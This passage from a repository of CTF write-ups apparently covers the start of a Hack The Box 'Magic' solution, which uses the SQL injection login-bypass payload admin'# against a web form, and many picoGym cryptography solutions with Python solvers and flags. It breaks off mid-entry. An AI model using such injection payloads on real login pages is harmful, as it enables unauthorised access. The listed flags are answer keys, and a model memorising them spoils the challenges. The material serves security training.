71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 20 | 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 21 | |_http-server-header: Apache/2.4.29 (Ubuntu) 22 | |_http-title: Magic Portfolio 23 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 24 | ``` 25 | 26 | Only ports `22` and `80`. Add `magic.htb` to your `/etc/hosts` and let's check out the website. 27 | 28 | ### HTTP 29 | 30 | ![The Main Page](<../../../../.gitbook/assets/image (32).png>) 31 | 32 | There's definitely a lot going on. By analysing the source we can see some images are in the `images/uploads/` folder, which is useful for later. Let's click the `Login` button at the bottom left. 33 | 34 | ![](<../../../../.gitbook/assets/image (42).png>) 35 | 36 | First thing's first, let's try the default `admin:admin`. We get told it's invalid. 37 | 38 | Now we can mess with the input to test for SQL injection. Tampering with a payload such as `'<>:32;4#::!@$":'` doesn't tell us it's invalid; perhaps it's having an affect? 39 | 40 | If we try a basic payload such as `admin'#`, what happens? The logic here is it logs in with the username `admin` and comments out the password check to always successfully log us in, essentially making it 41 | 42 | ```sql 43 | SELECT * FROM users WHERE username = 'admin'#' AND PASSWORD = '' 44 | ``` 45 | 46 | ![SQL Injection Check](<../../../../.gitbook/assets/image (14).png>) 47 | 48 | ![The Next Page](<../../../../.gitbook/assets/image (20).png>) 49 | 50 | Success! 51 | -------------------------------------------------------------------------------- /writeups/picogym/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | picoGym contains all of the past challenges from previous picoCTF events and 4 | can be found at https://play.picoctf.org/practice 5 | --- 6 | 7 | # picoGym 8 | 9 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/13.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | Cryptography can be easy, do you know what ROT13 is? 4 | cvpbPGS{abg_gbb_onq_bs_n_ceboyrz} 5 | --- 6 | 7 | # 13 8 | 9 | The same as [Mod 26](mod-26.md) - check that writeup! 10 | 11 | ```python 12 | from string import ascii_lowercase, ascii_uppercase 13 | 14 | enc_flag = r"cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}" 15 | 16 | flag = "" 17 | 18 | for c in enc_flag: 19 | if c in ascii_lowercase: 20 | flag += ascii_lowercase[(ascii_lowercase.index(c) + 13) % 26] 21 | elif c in ascii_uppercase: 22 | flag += ascii_uppercase[(ascii_uppercase.index(c) + 13) % 26] 23 | else: 24 | flag += c 25 | 26 | print(flag) 27 | 28 | # picoCTF{not_too_bad_of_a_problem} 29 | 30 | ``` 31 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/README.md: -------------------------------------------------------------------------------- 1 | # Cryptography 2 | 3 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/basic-mod1.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | Take each number mod 37 and map it to the following character set: 0-25 is the 4 | alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore. 5 | Wrap your decrypted message in picoCTF. 6 | --- 7 | 8 | # Basic-Mod1 9 | 10 | Just follow the instructions, really. 11 | 12 | ```python 13 | from string import ascii_uppercase, digits 14 | 15 | numbers = [ 16 | 165, 248, 94, 346, 299, 73, 198, 221, 313, 137, 205, 87, 336, 110, 186, 69, 223, 213, 216, 216, 177, 138 17 | ] 18 | 19 | alphabet = ascii_uppercase + digits + '_' 20 | 21 | flag = '' 22 | 23 | for n in numbers: 24 | flag += alphabet[n % 37] 25 | 26 | print(flag) 27 | 28 | # picoCTF{R0UND_N_R0UND_B6B25531} 29 | ``` 30 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/basic-mod2.md: -------------------------------------------------------------------------------- 1 | # Basic-Mod2 2 | 3 | Again, simply do what it tells you. For information on the inverse modulo a prime, check out [my notes here](https://ir0nstone.gitbook.io/crypto/fundamentals/modular-arithmetic#modular-multiplicative-inverses)! 4 | 5 | ```python 6 | from string import ascii_lowercase, digits 7 | from Crypto.Util.number import inverse 8 | 9 | numbers = [ 10 | 268, 413, 438, 313, 426, 337, 272, 188, 392, 338, 77, 332, 139, 113, 92, 239, 247, 120, 419, 72, 295, 190, 131 11 | ] 12 | 13 | alphabet = ' ' + ascii_lowercase + digits + '_' # space at front because letters start at index 1! 14 | flag = '' 15 | 16 | for n in numbers: 17 | idx = inverse(n % 41, 41) 18 | flag += alphabet[idx] 19 | 20 | print(flag) 21 | 22 | # picoCTF{1nv3r53ly_h4rd_8a05d939} 23 | ``` 24 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/caesar.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Decrypt this message. 3 | --- 4 | 5 | # Caesar 6 | 7 | A classic caesar cipher, we can decrypt it using an [online tool](https://www.dcode.fr/caesar-cipher) or python: 8 | 9 | ```python 10 | from string import ascii_lowercase 11 | 12 | ciphertext = 'ynkooejcpdanqxeykjrbdofgkq' 13 | 14 | for shift in range(26): 15 | new_c = '' 16 | 17 | for c in ciphertext: 18 | new_c += ascii_lowercase[(ascii_lowercase.index(c) + shift) % 26] 19 | 20 | print(new_c) 21 | 22 | # picoCTF{crossingtherubiconvfhsjkou} 23 | ``` 24 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/credstuff.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | We found a leak of a blackmarket website's login credentials. Can you find the 4 | password of the user cultiris and successfully decrypt it? Download the leak 5 | here. 6 | --- 7 | 8 | # Credstuff 9 | 10 | Opening up `usernames.txt` and `passwords.txt` in Pycharm, we see `cultiris` is on line `378` of `usernames.txt` so we go to line `378` of `passwords.txt` and find an encrypted password: 11 | 12 | ``` 13 | cvpbPGS{P7e1S_54I35_71Z3} 14 | ``` 15 | 16 | The `{}` are in place, implying that it's some sort of transposition cipher for the letters. We've done it numerous times, but we try a caesar cipher decode: 17 | 18 | ```python 19 | from string import ascii_lowercase, ascii_uppercase 20 | 21 | enc_flag = 'cvpbPGS{P7e1S_54I35_71Z3}' 22 | 23 | for shift in range(26): 24 | flag = '' 25 | 26 | for c in enc_flag: 27 | if c in ascii_lowercase: 28 | flag += ascii_lowercase[(ascii_lowercase.index(c) + shift) % 26] 29 | elif c in ascii_uppercase: 30 | flag += ascii_uppercase[(ascii_uppercase.index(c) + shift) % 26] 31 | else: 32 | flag += c 33 | 34 | print(flag) 35 | 36 | # picoCTF{C7r1F_54V35_71M3} 37 | 38 | ``` 39 | 40 | In fact the shift is 13, so it's just a ROT13. 41 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/dachshund-attacks.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: What if d is too small? Connect with nc mercury.picoctf.net 37455. 3 | --- 4 | 5 | # Dachshund Attacks 6 | 7 | We are told $$d$$ is too small, so this is a classic Wiener's Attack. I discuss the technique [here](https://ir0nstone.gitbook.io/crypto/rsa/public-exponent-attacks/wieners-attack), so I won't go over it again. Connecting to the server gives us $$e$$, $$N$$ and $$c$$. I will use SageMath for the continued fractions. 8 | 9 | ```python 10 | from Crypto.Util.number import long_to_bytes 11 | 12 | e = 112754541700690073210034568883976704637179938391109984739882317717493134117274992183187134977340726366735137168283197063242918320349494617964667665047419548553575295453656621241958205285249437600208333153358419149045651177119281187188167703425363227405679672963841306943107073166807574585389125832534066751809 13 | N = 144390361348920501869993938709991886178924525779849244222262670433367312227444944591566139662690206095975554337178767396284003325304590032011497856478923049097805457881081418119675617493053963010551906982495811656212858357088185653656378487033852680537367010991060358788282243207315359582442103359642135446811 14 | c = 121200875764971898969856362104661551030573743599078234011937926996191831804013529938239036069865696197047682885988162602437942341629152031466396781294970679065309433084336383355723998945746263068555929945549034859795066917254742307603845777657499038889879448604171444521283481396818702315095487896851743793699 15 | 16 | 17 | def get_convergences(N, e): 18 | frac = continued_fraction(e / N) 19 | convergences = list() 20 | 21 | for i in range(frac.length()): 22 | convergences.append((frac.numerator(i), frac.denominator(i))) 23 | 24 | return convergences 25 | 26 | 27 | def factorises(N, e, numerator, denominator): 28 | if numerator == 0: 29 | return None 30 | 31 | if denominator % 2 == 0: # d must be odd 32 | return None 33 | 34 | phi = (e * denominator - 1) / numerator 35 | 36 | if int(phi) % 2 != 0: # phi must be an even whole number 37 | return None 38 | 39 | x = var('x') 40 | assume(x, 'integer') 41 | solutions = solve([x ** 2 - ((N - phi) + 1) * x + N], x) 42 | 43 | if len(solutions) == 2: 44 | return solutions 45 | 46 | return None 47 | 48 | 49 | for numerator, denominator in get_convergences(N, e): 50 | factors = factorises(N, e, numerator, denominator) 51 | 52 | if factors: 53 | p, q = factors 54 | 55 | if p * q == N: 56 | phi = (p - 1) * (q - 1) 57 | d = inverse_mod(e, phi) 58 | m = pow(c, d, N) 59 | print(long_to_bytes(m)) 60 | break 61 | 62 | # picoCTF{proving_wiener_3878674} 63 | 64 | ``` 65 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/easy1.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | The one time pad can be cryptographically secure, but not when you know the 4 | key. Can you solve this? We've given you the encrypted flag, key, and a table 5 | to help UFJKXQZQUNB with the key of SOLVECRYPT 6 | --- 7 | 8 | # Easy1 9 | 10 | The table is simple - the you grab the plaintext character and the corresponding character from the key and cross-reference them to find the ciphertext character. To reverse it, you find the key character and go along the row (or column) until you find the ciphertext character, then you go perpendicular to it to find the corresponding plaintext character. This nets you `CRYPTOISFUN`, so the flag is `picoCTF{CRYPTOISFUN}`. 11 | 12 | {% hint style="info" %} 13 | This is actually a Vigenère cipher, so you could also use an online tool to do it for you! 14 | {% endhint %} 15 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/hidetosee.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: How about some hide and seek heh? Look at this image here. 3 | --- 4 | 5 | # HideToSee 6 | 7 | Not the most enjoyable challenge. Gives us an image called `atbash.jpg`, but no ciphertext yet. We actually have to use steganography techniques to extract the ciphertext from being embedded in the image, using `steghide`: 8 | 9 |
$ steghide extract -sf atbash.jpg
10 | 
11 | 12 | The passphrase is empty. The `encrypted.txt` file that is created has the following: 13 | 14 | ``` 15 | krxlXGU{zgyzhs_xizxp_8z0uvwwx} 16 | ``` 17 | 18 | Based off the filename, we can assume it's an **atbash cipher**, which is essentially a transposition cipher where alphabet is flipped (so `A` goes to `Z`, `B` goes to `Y`, etc). 19 | 20 | ``` 21 | from string import ascii_uppercase, ascii_lowercase 22 | 23 | enc = 'krxlXGU{zgyzhs_xizxp_8z0uvwwx}' 24 | dec = '' 25 | 26 | for c in enc: 27 | if c in ascii_uppercase: 28 | dec += ascii_uppercase[-(ascii_uppercase.index(c)+1)] # so index 0 transposes to -1, index 1 to -2, etc 29 | elif c in ascii_lowercase: 30 | dec += ascii_lowercase[-(ascii_lowercase.index(c)+1)] 31 | else: 32 | dec += c 33 | 34 | print(dec) 35 | 36 | # picoCTF{atbash_crack_8a0feddc} 37 | ``` 38 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/mind-your-ps-and-qs.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | In RSA, a small e value can be problematic, but what about N? Can you decrypt 4 | this? values 5 | --- 6 | 7 | # Mind Your Ps and Qs 8 | 9 | This is typical RSA decryption. We are given `n`, `e` and `c`. 10 | 11 | {% hint style="info" %} 12 | If you don't know much about RSA, check out [my overview](https://ir0nstone.gitbook.io/crypto/rsa/overview)! 13 | {% endhint %} 14 | 15 | All we need are the factors of `N`. Because it's small, we can try and check if the factors are known using [FactorDB](http://factordb.com). And they are! So from here it's just standard RSA: 16 | 17 | ```python 18 | from Crypto.Util.number import inverse, long_to_bytes 19 | 20 | c = 421345306292040663864066688931456845278496274597031632020995583473619804626233684 21 | n = 631371953793368771804570727896887140714495090919073481680274581226742748040342637 22 | e = 65537 23 | 24 | p = 1461849912200000206276283741896701133693 25 | q = 431899300006243611356963607089521499045809 26 | 27 | phi = (p-1) * (q-1) 28 | d = inverse(e, phi) 29 | m = pow(c, d, n) 30 | 31 | print(long_to_bytes(m)) 32 | 33 | # picoCTF{sma11_N_n0_g0od_55304594} 34 | ``` 35 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/mini-rsa.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | What happens if you have a small exponent? There is a twist though, we padded 4 | the plaintext so that (M ** e) is just barely larger than N. Let's decrypt 5 | this: ciphertext 6 | --- 7 | 8 | # Mini RSA 9 | 10 | Now we're getting onto proper cryptography. Here we are told that we are using RSA with a small exponent, but $$M^e$$ is just more than $$N$$. This means we can't **quite** do a [cube-root attack, but because it is **just** more than $$M$$ we can actually keep on adding multiples of $$N$$ onto $$c$$ ](https://ir0nstone.gitbook.io/crypto/rsa/public-exponent-attacks/small-e)and taking the cube root until we get the flag. As it is close, it's not infeasible to brute force. I use gmpy2's `iroot` function to take the cube root. 11 | 12 | ```python 13 | from Crypto.Util.number import long_to_bytes 14 | from gmpy2 import iroot 15 | 16 | N = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287 17 | e = 3 18 | 19 | c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808147130204332030239454609548193370732857240300019596815816006860639254992255194738107991811397196500685989396810773222940007523267032630601449381770324467476670441511297695830038371195786166055669921467988355155696963689199852044947912413082022187178952733134865103084455914904057821890898745653261258346107276390058792338949223415878232277034434046142510780902482500716765933896331360282637705554071922268580430157241598567522324772752885039646885713317810775113741411461898837845999905524246804112266440620557624165618470709586812253893125417659761396612984740891016230905299327084673080946823376058367658665796414168107502482827882764000030048859751949099453053128663379477059252309685864790106 20 | 21 | 22 | for i in range(10_000): 23 | c_try = c + i * N 24 | m = int(iroot(c_try, 3)[0]) 25 | flag = long_to_bytes(m) 26 | 27 | if b'pico' in flag: 28 | print(flag) 29 | 30 | # picoCTF{e_sh0u1d_b3_lArg3r_7adb35b1} 31 | ``` 32 | 33 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/mod-26.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | Cryptography can be easy, do you know what ROT13 is? 4 | cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_uJdSftmh} 5 | --- 6 | 7 | # Mod 26 8 | 9 | We are told that the flag is encrypted with ROT13, which is a simple substitution cipher that replaces every character with the character that is 13 spaces along the alphabet. For example, the character `C` would be replaced by a `P`: 10 | 11 |
ABCDEFGHIJKLMNOPQRSTUVWXYZ
12 | 
13 | 14 | You can see that `C` is the 3rd index, and `P` is in fact the 16th. But what if we want to encrypt the letter `Y`, at index 25? Well, what we do here is we _loop back to the beginning_; if we do this, the character 13 positions after it is in fact `L`! 15 | 16 | Mathematically, we can see that the index that would be position `26` is actually looping back to position `0`, so we add on the `13` and take the remainder **modulo 26**. We can do this easily in Python, ignoring non-letter characters: 17 | 18 | ```python 19 | from string import ascii_lowercase, ascii_uppercase 20 | 21 | enc_flag = r"cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_uJdSftmh}" 22 | 23 | flag = "" 24 | 25 | for c in enc_flag: 26 | if c in ascii_lowercase: 27 | flag += ascii_lowercase[(ascii_lowercase.index(c) + 13) % 26] 28 | elif c in ascii_uppercase: 29 | flag += ascii_uppercase[(ascii_uppercase.index(c) + 13) % 26] 30 | else: 31 | flag += c 32 | 33 | print(flag) 34 | 35 | # picoCTF{next_time_I'll_try_2_rounds_of_rot13_hWqFsgzu} 36 | 37 | ``` 38 | 39 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/morse-code.md: -------------------------------------------------------------------------------- 1 | # morse-code 2 | 3 | Pretty explicitly morse code, we go to an [online decoder](https://morsecode.world/international/decoder/audio-decoder-adaptive.html) and have it spit out the flag: 4 | 5 | ``` 6 | picoCTF{WH47_H47H_90D_W20U9H7} 7 | ``` 8 | 9 | Alternatively we could use something like **Audacity** to view the waveforms themselves, but nah. 10 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/no-padding-no-problem.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | Oracles can be your best friend, they will decrypt anything, except the flag's 4 | ciphertext. How will you break it? Connect with nc mercury.picoctf.net 10333 5 | --- 6 | 7 | # No Padding, No Problem 8 | 9 | Upon connecting, we get the values of $$N$$ and $$e$$ as well as the encrypted ciphertext $$c$$ that represents the flag. We then have a decryption oracle, which can decrypt anything except for the flag. 10 | 11 | Note that the ciphertext is decrypted as follows: 12 | 13 | $$ 14 | m \equiv c^d \mod N 15 | $$ 16 | 17 | If we ask to decrypt $$-c$$ instead, we get 18 | 19 | $$ 20 | m \equiv (-c)^d \equiv -c^d \mod N 21 | $$ 22 | 23 | Note the last congruence is because $$d$$ is odd, so $$(-1)^d = -1$$. 24 | 25 | This means that if we pass in the negative of $$c$$, we can get the negative of the decryption! 26 | 27 | ``` 28 | N = 64225632402784743608151428388331019007158039700441403609620876723228303996217136829769322251101831115510439457268097599588978823846061420515078072743333076016253031234729517071419809456539618743788851473244412318432363995783182914809195026673348987512316519371501063936603604905070428868194818209957885002651 29 | R = IntegerModRing(N) 30 | c = R(23961525860638788006091919862301366730415613260613078904461027043559403510831473561860834624403033454974614369313881141911510211211764847671996788759608002057996932820692709010900418723347410147858586280735791816478632919784849715797867137711835451159040091442311708166252069010315360215005284477472628144578) 31 | print(-c) 32 | 33 | # send it back, get result 34 | negative_m = R(64225632402784743608151428388331019007158039700441403609620876723228303996217136829769322251101831115510439457268097599588978823846061420515078072743333076016253031234729517071419809456249343713593001433770955700064908110713217165957916949916605267065613204854099704669280835867601177422810391570120236404254) 35 | long_to_bytes(-m) 36 | 37 | # picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_1772735} 38 | ``` 39 | 40 | {% hint style="info" %} 41 | There are other ways to do it too - you could calculate $$2^{65537} \mod N$$ and multiply $$c$$ by that, which would yield you $$2c$$ after decryption, and you'd just need to halve it, [as described in this writeup](https://github.com/Dvd848/CTFs/blob/master/2021\_picoCTF/No\_Padding\_No\_Problem.md). 42 | {% endhint %} 43 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/pixelated.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | I have these 2 images, can you make a flag out of them? scrambled1.png 4 | scrambled2.png 5 | --- 6 | 7 | # Pixelated 8 | 9 | As the images are the same dimensions, it makes sense to consider what could be done with the RBG values. Immediately, XOR springs to mind, and we make a quick script to XOR the pixel data: 10 | 11 | ```python 12 | from PIL import Image 13 | 14 | img1 = Image.open("scrambled1.png") 15 | img2 = Image.open("scrambled2.png") 16 | 17 | pixels1 = img1.load() 18 | pixels2 = img2.load() 19 | 20 | result_img = Image.new("RGB", img1.size) 21 | result_pixels = result_img.load() 22 | 23 | for x in range(img1.width): 24 | for y in range(img1.height): 25 | r1, g1, b1 = pixels1[x, y] 26 | r2, g2, b2 = pixels2[x, y] 27 | 28 | xor_r = r1 ^ r2 29 | xor_g = g1 ^ g2 30 | xor_b = b1 ^ b2 31 | 32 | result_pixels[x, y] = (xor_r, xor_g, xor_b) 33 | 34 | result_img.save("output.png") 35 | 36 | ``` 37 | 38 | This came up with an interesting `output.png`, which definitely had the flag in it, but was quite hard to read: 39 | 40 |

Clearly a flag, but hard to read

41 | 42 | After some trial and error and printing of the values, you notice that pretty much everywhere is pure white. To up the contrast a little, we make all the white into black: 43 | 44 | ```python 45 | if xor_r == xor_g == xor_b == 255: 46 | xor_r = xor_g = xor_b = 0 47 | ``` 48 | 49 | And this was enough to spy the flag: 50 | 51 |
52 | 53 | ``` 54 | picoCTF{d562333d} 55 | ``` 56 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/rail-fence.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | A type of transposition cipher is the rail fence cipher, which is described 4 | here. Here is one such cipher encrypted using the rail fence with 4 rails. Can 5 | you decrypt it? 6 | --- 7 | 8 | # rail-fence 9 | 10 | So, you can use an online tool like [here](https://www.dcode.fr/rail-fence-cipher), or you can actually follow [the wikipedia page it gives you](https://en.wikipedia.org/wiki/Rail\_fence\_cipher), or you can play around until it works: 11 | 12 | ``` 13 | T a - _ 7 N 6 D 4 9 14 | h l g : W 3 D _ H 3 C 3 1 N _ _ A 9 7 15 | e f - s H R 0 5 3 F 3 8 N 4 3 D 7 B 16 | - i 3 3 _ _ _ N 6 17 | 18 | The flag is: WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997 19 | ``` 20 | 21 | So the flag is `picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997}` 22 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/substitution0.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | A message has come in but it seems to be all scrambled. Luckily it seems to 4 | have the key at the beginning. Can you crack this substitution cipher? 5 | --- 6 | 7 | # Substitution0 8 | 9 | So, we are told that the key is at the beginning! Let's see what we have: 10 | 11 | ``` 12 | ZGSOCXPQUYHMILERVTBWNAFJDK 13 | 14 | Qctcnrel Mcptzlo ztebc, fuwq z ptzac zlo bwzwcmd zut, zlo gtenpqw ic wqc gccwmc 15 | xtei z pmzbb szbc ul fqusq uw fzb clsmebco. Uw fzb z gcznwuxnm bsztzgzcnb, zlo, zw 16 | wqzw wuic, nlhlefl we lzwntzmubwb—ex sentbc z ptczw rtukc ul z bsuclwuxus reulw 17 | ex aucf. Wqctc fctc wfe tenlo gmzsh brewb lczt elc cjwtciuwd ex wqc gzsh, zlo z 18 | melp elc lczt wqc ewqct. Wqc bszmcb fctc cjsccoulpmd qzto zlo pmebbd, fuwq zmm wqc 19 | zrrcztzlsc ex gntlubqco pemo. Wqc fcupqw ex wqc ulbcsw fzb actd tcizthzgmc, zlo, 20 | wzhulp zmm wqulpb ulwe selbuoctzwuel, U senmo qztomd gmzic Ynruwct xet qub eruluel 21 | tcbrcswulp uw. 22 | 23 | Wqc xmzp ub: ruseSWX{5NG5717N710L_3A0MN710L_357GX9XX} 24 | ``` 25 | 26 | So, the first line appears to be the "key". Well, if we write the alphabet under it: 27 | 28 | ``` 29 | ZGSOCXPQUYHMILERVTBWNAFJDK 30 | ABCDEFGHIJKLMNOPQRSTUVWXYZ 31 | ``` 32 | 33 | There is a perfect correspondence! So, any instance of the character in the top list is meant to be substituted using the bottom list. We can easily make a python program to do it for us: 34 | 35 | ```python 36 | from string import ascii_uppercase, ascii_lowercase 37 | 38 | alphabet = 'ZGSOCXPQUYHMILERVTBWNAFJDK' 39 | 40 | text = ''' 41 | Qctcnrel Mcptzlo ztebc, fuwq z ptzac zlo bwzwcmd zut, zlo gtenpqw ic wqc gccwmc 42 | xtei z pmzbb szbc ul fqusq uw fzb clsmebco. Uw fzb z gcznwuxnm bsztzgzcnb, zlo, zw 43 | wqzw wuic, nlhlefl we lzwntzmubwb—ex sentbc z ptczw rtukc ul z bsuclwuxus reulw 44 | ex aucf. Wqctc fctc wfe tenlo gmzsh brewb lczt elc cjwtciuwd ex wqc gzsh, zlo z 45 | melp elc lczt wqc ewqct. Wqc bszmcb fctc cjsccoulpmd qzto zlo pmebbd, fuwq zmm wqc 46 | zrrcztzlsc ex gntlubqco pemo. Wqc fcupqw ex wqc ulbcsw fzb actd tcizthzgmc, zlo, 47 | wzhulp zmm wqulpb ulwe selbuoctzwuel, U senmo qztomd gmzic Ynruwct xet qub eruluel 48 | tcbrcswulp uw. 49 | 50 | Wqc xmzp ub: ruseSWX{5NG5717N710L_3A0MN710L_357GX9XX} 51 | ''' 52 | 53 | dec = '' 54 | 55 | for c in text: 56 | if c in ascii_uppercase: 57 | dec += ascii_uppercase[alphabet.index(c)] 58 | elif c in ascii_lowercase: 59 | dec += ascii_lowercase[alphabet.index(c.upper())] 60 | else: 61 | dec += c 62 | 63 | print(dec) 64 | 65 | # picoCTF{5UB5717U710N_3V0LU710N_357BF9FF} 66 | 67 | ``` 68 | 69 | We get a text from [_The Gold-Bug_, by Edgar Allen Poe](http://utc.iath.virginia.edu/minstrel/mifieapat.html) and the flag too: 70 | 71 | ``` 72 | Hereupon Legrand arose, with a grave and stately air, and brought me the beetle 73 | from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at 74 | that time, unknown to naturalists—of course a great prize in a scientific point 75 | of view. There were two round black spots near one extremity of the back, and a 76 | long one near the other. The scales were exceedingly hard and glossy, with all the 77 | appearance of burnished gold. The weight of the insect was very remarkable, and, 78 | taking all things into consideration, I could hardly blame Jupiter for his opinion 79 | respecting it. 80 | 81 | The flag is: picoCTF{5UB5717U710N_3V0LU710N_357BF9FF} 82 | ``` 83 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/the-numbers.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The numbers... what do they mean? 3 | --- 4 | 5 | # The Numbers 6 | 7 | We get a bit of an image: 8 | 9 |
10 | 11 | The `{}` suggest that this is some sort of transposition, where letters are replaced with numbers while other characters are left the same. Since all the numbers are in the range `0-25`, it makes logical sense that each number is really the position of the letter in the alphabet. We can make a simple decryption script based off this assumption: 12 | 13 | ```python 14 | from string import ascii_uppercase 15 | 16 | numbers = [16, 9, 3, 15, 3, 20, 6, '{', 20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14, '}'] 17 | 18 | flag = "" 19 | 20 | for n in numbers: 21 | if str(n) in "{}": 22 | flag += n 23 | else: 24 | flag += ascii_uppercase[n] 25 | 26 | print(flag) 27 | 28 | ``` 29 | 30 | We get `QJDPDUG{UIFOVNCFSTNBTPO}`. As we assume it starts with `PICOCTF`, we can see that we are actually one index off - which makes sense, as strings are zero-indexed in Python, so we just need to use `n-1` and we get the flag: 31 | 32 | ```python 33 | from string import ascii_uppercase 34 | 35 | numbers = [16, 9, 3, 15, 3, 20, 6, '{', 20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14, '}'] 36 | 37 | flag = "" 38 | 39 | for n in numbers: 40 | if str(n) in "{}": 41 | flag += n 42 | else: 43 | flag += ascii_uppercase[n-1] 44 | 45 | print(flag) 46 | 47 | # PICOCTF{THENUMBERSMASON} 48 | ``` 49 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/transposition-trial.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | Our data got corrupted on the way here. Luckily, nothing got replaced, but 4 | every block of 3 got scrambled around! 5 | --- 6 | 7 | # Transposition-Trial 8 | 9 | So we are given the data 10 | 11 | ``` 12 | heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V6E5926A}4 13 | ``` 14 | 15 | And also told that every block of 3 is scrambled the same way. Looking at the first block of 3, is should clearly say `The`, so the order of reading it should be 3rd letter -> 1st letter -> 2nd letter. We make a quick python script to split it into triplets and rearrange: 16 | 17 | ```python 18 | message = 'heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V6E5926A}4' 19 | 20 | trigrams = [message[x:x+3] for x in range(0, len(message), 3)] 21 | 22 | dec = '' 23 | 24 | for t in trigrams: 25 | dec += t[2] + t[0] + t[1] 26 | 27 | print(dec) 28 | 29 | # The flag is picoCTF{7R4N5P051N6_15_3XP3N51V3_56E6924A} 30 | 31 | ``` 32 | -------------------------------------------------------------------------------- /writeups/picogym/cryptography/vigenere.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Can you decrypt this message? 3 | --- 4 | 5 | # Vigenere 6 | 7 | So the hint is that the message is encrypted with a Vigenere cipher using the key `CYLAB`. Sure we could use an [online tool](https://www.dcode.fr/vigenere-cipher), but how about in python? 8 | 9 | The way a vigenere cipher works is that the letters in the key are converted into integers based into their position in the alphabet, with `0` being `a` and `25` being `z`. Those values are then used as shift values for a per-letter caesar cipher - so in the case of `CYLAB`, the first value is `3` and the second is `24`. Given the encrypted flag: 10 | 11 | ``` 12 | rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f} 13 | ``` 14 | 15 | We then know that `r` is the plaintext letter shifted over by `3` and `g` is the plaintext letter shifted over by `24` (and looped around, in the same way a caesar cipher is). To this end, we can make a quick script: 16 | 17 | ```python 18 | from string import ascii_uppercase, ascii_lowercase 19 | 20 | def shift(chr, k): 21 | # get an integer shift from a letter 22 | k_int = ascii_lowercase.index(k.lower()) 23 | 24 | if chr in ascii_uppercase: 25 | return ascii_uppercase[(ascii_uppercase.index(chr) - k_int) % 26] 26 | else: 27 | return ascii_lowercase[(ascii_lowercase.index(chr) - k_int) % 26] 28 | 29 | 30 | message = 'rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}' 31 | key = 'CYLAB' * 10 32 | 33 | dec = '' 34 | 35 | for m, k in zip(message, key): 36 | if m in ascii_uppercase or m in ascii_lowercase: 37 | dec += shift(m, k) 38 | else: 39 | dec += m 40 | 41 | print(dec) 42 | ``` 43 | 44 | We get the output 45 | 46 | ``` 47 | picoCTF{O0LW_WP3_V1F3Q3T3_C1AG3U_2951r89d} 48 | ``` 49 | 50 | Which isn't quite the 